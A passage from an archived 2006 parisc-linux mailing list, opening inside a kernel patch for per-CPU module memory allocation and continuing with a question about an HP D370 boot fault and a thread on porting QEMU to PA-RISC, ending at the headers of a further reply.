+	} while (pud++, addr = next, addr < end);
+	return 0;
+}
+
+static int percpu_alloc(unsigned long addr, unsigned long size,
+			int node)
+{
+	pgd_t *pgd;
+	unsigned long end = addr + size;
+	unsigned long next;
+	int err;
+
+	pgd = pgd_offset_k(addr);
+	do {
+		next = pgd_addr_end(addr, end);
+		err = percpu_pud_alloc(pgd, addr, next, node);
+		if (err)
+			break;
+	} while (pgd++, addr = next, addr < end);
+	return err;
+}
+
+static int percpu_module_update(void *pcpudst, unsigned long size, int cpu)
+{
+	int err = 0;
+	/*
+	 * These two local variables are only used to keep the code
+	 * looking simpler.  Since this function is only called on
+	 * module load, it's not time critical.
+	 */
+	unsigned long needed_address = (unsigned long)
+		((pcpudst) + __PERCPU_OFFSET_ADDRESS(cpu)+size);
+	unsigned long allocated = per_cpu(percpu_allocated, cpu);
+
+	if (allocated < needed_address) {
+		unsigned long alloc = needed_address - allocated;
+		err = percpu_alloc(allocated, alloc, cpu);
+		if (!err)
+			per_cpu(percpu_allocated, cpu) =
+				PAGE_ALIGN(needed_address);
+	}
+	return err;
+}
+
+/**
+ *	per_cpu_modcopy  -  copy and allocate module VM per_cpu variables
+ *
+ *	@pcpudst:	Destination of module per_cpu section
+ *	@src:		Source of module per_cpu data section
+ *	@size:		Size of module per_cpu data section
+ *
+ *	Copy the module's data per_cpu section into each VM per_cpu section
+ *	stored in the kernel.  If need be, allocate more pages in VM
+ *	if they are not yet allocated.
+ *
+ *	protected by module_mutex
+ */
+int percpu_modcopy(void *pcpudst, void *src, unsigned long size)
+{
+	unsigned int i;
+	int err = 0;
+
+	for (i = 0; i < NR_CPUS; i++)
+		if (cpu_possible(i)) {
+			err = percpu_module_update(pcpudst, size, i);
+			if (err)
+				break;
+			memcpy((pcpudst)+__PERCPU_OFFSET_ADDRESS(i),
+			       (src), (size));
+		}
+	return err;
+}
+
+/*
+ * We use the __per_cpu_start for the indexing of
+ * per_cpu variables, even in modules.
+ */
+EXPORT_SYMBOL(__per_cpu_start);
Index: linux-2.6.16-test/mm/Makefile
===================================================================
--- linux-2.6.16-test.orig/mm/Makefile	2006-05-17 04:32:27.000000000 -0400
+++ linux-2.6.16-test/mm/Makefile	2006-05-17 04:39:52.000000000 -0400
@@ -22,3 +22,4 @@ obj-$(CONFIG_SLOB) += slob.o
 obj-$(CONFIG_SLAB) += slab.o
 obj-$(CONFIG_MEMORY_HOTPLUG) += memory_hotplug.o
 obj-$(CONFIG_FS_XIP) += filemap_xip.o
+obj-$(CONFIG_HAS_VM_PERCPU) += percpu.o
\ No newline at end of file

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Corne Beerse <cbeerse@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] failing hp d370. boot-rom display messages
Date: Fri, 26 May 2006 09:52:39 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <4476B3C7.3000900@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624593 27606 80.91.229.3 (22 Nov 2014 02:49:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:53 +0000 (UTC)
To: maillist parisc-linux <parisc-linux@parisc-linux.org>,
 maillist hpux-admin <hpux-admin@DutchWorks.nl>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 May 2006 07:52:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 26 May 2006 09:52:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52C9C7D6EB;
	Fri, 26 May 2006 01:52:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25236-06; Fri, 26 May 2006 01:52:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE56F7D6EC;
	Fri, 26 May 2006 01:52:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 213987D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 01:52:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25265-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 01:52:42 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3B9107D6E6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 01:52:42 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id DAB3449405C; Fri, 26 May 2006 01:52:41 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.188])
	by palinux.external.hp.com (Postfix) with ESMTP id 6CD6C494039
	for <parisc-linux@parisc-linux.org>;
	Fri, 26 May 2006 01:52:41 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id p77so77027nfc
	for <parisc-linux@parisc-linux.org>;
	Fri, 26 May 2006 00:52:40 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:user-agent:x-accept-language:mime-version:to:subject:content-type:content-transfer-encoding;
	b=CXyHCVjIaE90cmWrboxqWiBQrYLeCkzUYaqr3gj/Vn938aFCREtAaBHBwKfUnYYPvEeQhD3iHR1aKvUQVkAmzdVviPn64Pc4sRb590/sktGmepo7kL/iAHYbJNuWJGXh2tHA4eGw6NLYw6krbyKJIWhyt0DI4kDBrE0gOC3tgis=
Original-Received: by 10.49.38.17 with SMTP id q17mr239947nfj;
	Fri, 26 May 2006 00:52:40 -0700 (PDT)
Original-Received: from ?130.78.140.5? ( [130.78.143.1])
	by mx.gmail.com with ESMTP id m15sm217821nfc.2006.05.26.00.52.39;
	Fri, 26 May 2006 00:52:40 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.7.12) Gecko/20050915
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: g/c8A1J8a2A7ubvDOHQynTgyOWhhaod6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25290

Hello,

After a last relocation, my HP D370 fails to boot. In the lcd-display it 
cycles trough a number of messages starting with "FLT...". Has anyone 
resources on the messages and the cause of the faults? It so happens 
that I have some spare parts (partly from a long gone D210) and I like 
to know what to replace or fix to get the D370 going once again.

Thanks in advance


C.Beerse.

btw: this message has been crosposted to both the parisc-linux and the 
hpux admin since it is about stuff before the os boots.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] QEMU Port (Help needed)
Date: Sun, 4 Jun 2006 17:04:41 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20060604160441.GA18082@miranda.arrow>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624593 27608 80.91.229.3 (22 Nov 2014 02:49:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2006 15:59:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 04 Jun 2006 17:59:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 646877D65B;
	Sun,  4 Jun 2006 09:59:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30772-04; Sun, 4 Jun 2006 09:59:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 136487D657;
	Sun,  4 Jun 2006 09:59:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E78A7D63B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 09:59:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30650-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jun 2006 09:59:16 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 707747D629
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 09:59:16 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id 1C99E495669; Sun,  4 Jun 2006 09:59:16 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mtaout02-winn.ispmail.ntl.com (mta08-winn.ispmail.ntl.com
	[81.103.221.48])
	by palinux.external.hp.com (Postfix) with ESMTP id 6849B494016
	for <parisc-linux@parisc-linux.org>;
	Sun,  4 Jun 2006 09:59:15 -0600 (MDT)
Original-Received: from aamtaout04-winn.ispmail.ntl.com ([81.103.221.35])
	by mtaout02-winn.ispmail.ntl.com with ESMTP id
	<20060604155912.KDHO29040.mtaout02-winn.ispmail.ntl.com@aamtaout04-winn.ispmail.ntl.com>
	for <parisc-linux@parisc-linux.org>; Sun, 4 Jun 2006 16:59:12 +0100
Original-Received: from miranda.arrow ([213.107.21.212])
	by aamtaout04-winn.ispmail.ntl.com with ESMTP id
	<20060604155912.GMM16086.aamtaout04-winn.ispmail.ntl.com@miranda.arrow>
	for <parisc-linux@parisc-linux.org>; Sun, 4 Jun 2006 16:59:12 +0100
Original-Received: from sdb by miranda.arrow with local (Exim 4.50) id 1Fmv5l-0004hz-Fr
	for parisc-linux@parisc-linux.org; Sun, 04 Jun 2006 17:04:41 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UjG0c9NxbGI0oKaDYmRnWPFncmZ1Zlzo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25291

Hi,

I've had a stab at porting QEMU to PA-RISC... I've uploaded a patch
against QEMU 0.8.1 to:

  http://homepage.ntlworld.com/wholehog/stuart/qemu/qemu-hppa-guest.diff

It compiles, but I can't figure out why it's crashing.  Any ideas?

Cheers,
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] QEMU Port (Help needed)
Date: Sun, 4 Jun 2006 17:48:17 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <119aab440606041448t3952e3dfwf85f926ffdc5e441@mail.gmail.com>
References: <20060604160441.GA18082@miranda.arrow>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624594 27611 80.91.229.3 (22 Nov 2014 02:49:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:54 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Stuart Brady" <sdbrady@ntlworld.com>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2006 21:48:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 04 Jun 2006 23:48:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5D907D66E;
	Sun,  4 Jun 2006 15:48:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00372-10; Sun, 4 Jun 2006 15:48:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 686F87D667;
	Sun,  4 Jun 2006 15:48:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5716A7D664
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 15:48:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00372-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jun 2006 15:48:22 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 689EE7D662
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 15:48:22 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id 03BE14940B5; Sun,  4 Jun 2006 15:48:22 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.234])
	by palinux.external.hp.com (Postfix) with ESMTP id BC8ED494006
	for <parisc-linux@parisc-linux.org>;
	Sun,  4 Jun 2006 15:48:21 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i31so867945wra
	for <parisc-linux@parisc-linux.org>;
	Sun, 04 Jun 2006 14:48:19 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=DVUg1D6j2RSXNPq54UUP9rv06KstgKU8KtPo1QeqtJfaWXuAbMLEuVm8xT6vRM3mfkwbd/HShtAroEjPAkPUlJ1pNffcJE8XBfQ/edjLt8taKLuMX91tq/dIOZZNIAX9hr4fIm4rlUVIIgiSYf1mp0pOqJKZFDGQ/Bnuwmroqz4=
Original-Received: by 10.54.158.11 with SMTP id g11mr2876537wre;
	Sun, 04 Jun 2006 14:47:44 -0700 (PDT)
Original-Received: by 10.54.156.11 with HTTP; Sun, 4 Jun 2006 14:48:17 -0700 (PDT)
In-Reply-To: <20060604160441.GA18082@miranda.arrow>
Content-Disposition: inline
X-Google-Sender-Auth: efd9467f28aeb462
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VCTqK8gwMydynYigZWplQaJraGRhZlre
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25292

On 6/4/06, Stuart Brady <sdbrady@ntlworld.com> wrote:
> Hi,
>
> I've had a stab at porting QEMU to PA-RISC... I've uploaded a patch
> against QEMU 0.8.1 to:
>
>   http://homepage.ntlworld.com/wholehog/stuart/qemu/qemu-hppa-guest.diff
>
> It compiles, but I can't figure out why it's crashing.  Any ideas?

That's awesome to hear that you are working on QEMU for PARISC!
It would rock to have a fast simulator. Even a semi-hosted environment
would be a cool toy to play with.

Does QEMU crash?
Does the emulated userspace crash?

A couple of comments about your patch:

1. Remember 32-bit PARISC executables have both function pointers and
function descriptors.

2. The "gp" is r19, the "dp" is r27. I don't know what your reference
to the "__dlt" is?

3. You can copy testandset from glibc linuxthreads pthread.h

4. flush_icache_range can probably be copied from the kernel implementation.

Other than that, there are *all* sorts of things which could be wrong :)

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] QEMU Port (Help needed)
Date: Mon, 5 Jun 2006 00:13:02 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <20060604231302.GA18282@miranda.arrow>
References: <20060604160441.GA18082@miranda.arrow>
	<119aab440606041448t3952e3dfwf85f926ffdc5e441@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624594 27615 80.91.229.3 (22 Nov 2014 02:49:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:54 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2006 23:07:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 05 Jun 2006 01:07:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5882C7D66D;
	Sun,  4 Jun 2006 17:07:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00981-09; Sun, 4 Jun 2006 17:07:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 819CB7D670;
	Sun,  4 Jun 2006 17:07:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B51277D66C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 17:07:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00981-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jun 2006 17:07:34 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C52837D669
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 17:07:34 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id 76044495689; Sun,  4 Jun 2006 17:07:34 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mtaout01-winn.ispmail.ntl.com (mta07-winn.ispmail.ntl.com
	[81.103.221.47])
	by palinux.external.hp.com (Postfix) with ESMTP id D6F17494006
	for <parisc-linux@parisc-linux.org>;
	Sun,  4 Jun 2006 17:07:33 -0600 (MDT)
Original-Received: from aamtaout02-winn.ispmail.ntl.com ([81.103.221.35])
	by mtaout01-winn.ispmail.ntl.com with ESMTP id
	<20060604230732.MFMV29343.mtaout01-winn.ispmail.ntl.com@aamtaout02-winn.ispmail.ntl.com>;
	Mon, 5 Jun 2006 00:07:32 +0100
Original-Received: from miranda.arrow ([213.107.21.212])
	by aamtaout02-winn.ispmail.ntl.com with ESMTP id
	<20060604230732.WROX24467.aamtaout02-winn.ispmail.ntl.com@miranda.arrow>;
	Mon, 5 Jun 2006 00:07:32 +0100
Original-Received: from sdb by miranda.arrow with local (Exim 4.50)
	id 1Fn1mI-0004l6-KB; Mon, 05 Jun 2006 00:13:02 +0100
Content-Disposition: inline
In-Reply-To: <119aab440606041448t3952e3dfwf85f926ffdc5e441@mail.gmail.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9VKxfIo7Pjlt6urBOTU21BIzMTE2NYmG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25293

On Sun, Jun 04, 2006 at 05:48:17PM -0400, Carlos O'Donell wrote:
> On 6/4/06, Stuart Brady <sdbrady@ntlworld.com> wrote:
> >I've had a stab at porting QEMU to PA-RISC... I've uploaded a patch
> >against QEMU 0.8.1 to:
> >
> >  http://homepage.ntlworld.com/wholehog/stuart/qemu/qemu-hppa-guest.diff
> >
> >It compiles, but I can't figure out why it's crashing.  Any ideas?
> 
> That's awesome to hear that you are working on QEMU for PARISC!
> It would rock to have a fast simulator. Even a semi-hosted environment
> would be a cool toy to play with.

It would be nice.  But I'm not sure if I _can_ finish this. :(

> Does QEMU crash?
> Does the emulated userspace crash?

QEMU crashes.  So far, I've only tried system emulation, not userspace
emulation.

An illegal instruction is being executed, and this appears to be for the
very first instruction that is emulated.  I get the following:

Program received signal SIGILL, Illegal instruction.
[Switching to Thread 16384 (LWP 6905)]
0x00b30f40 in stdout ()
(gdb)

bt makes gdb hang! :(  Unfortunately, my gdb-fu is pretty weak.

> A couple of comments about your patch:
> 
> 1. Remember 32-bit PARISC executables have both function pointers and
> function descriptors.

Ow.  I really have no idea about how this works.

> 2. The "gp" is r19, the "dp" is r27. I don't know what your reference
> to the "__dlt" is?

I don't know, either.  I was mainly guessing, based on what I saw in the
PA ELF supplement.  After changing it to use r19, gcc warns that r19 is
call-clobbered, but I don't know whether that's relevant.  I see the
same behaviour as before, though...

> 3. You can copy testandset from glibc linuxthreads pthread.h

Okay, I will do.  (I don't think this is the immediate problem, though.)

> 4. flush_icache_range can probably be copied from the kernel implementation.

Probably.  Much of QEMU is LGPLed, though... but I can certainly try
using the kernel implementation.

> Other than that, there are *all* sorts of things which could be wrong :)

Hmm... and they probably *are* wrong, too! :)

Thanks,
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] QEMU Port (Help needed)
Date: Sun, 4 Jun 2006 17:19:47 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20060604231947.GH27231@parisc-linux.org>
References: <20060604160441.GA18082@miranda.arrow>
	<119aab440606041448t3952e3dfwf85f926ffdc5e441@mail.gmail.com>
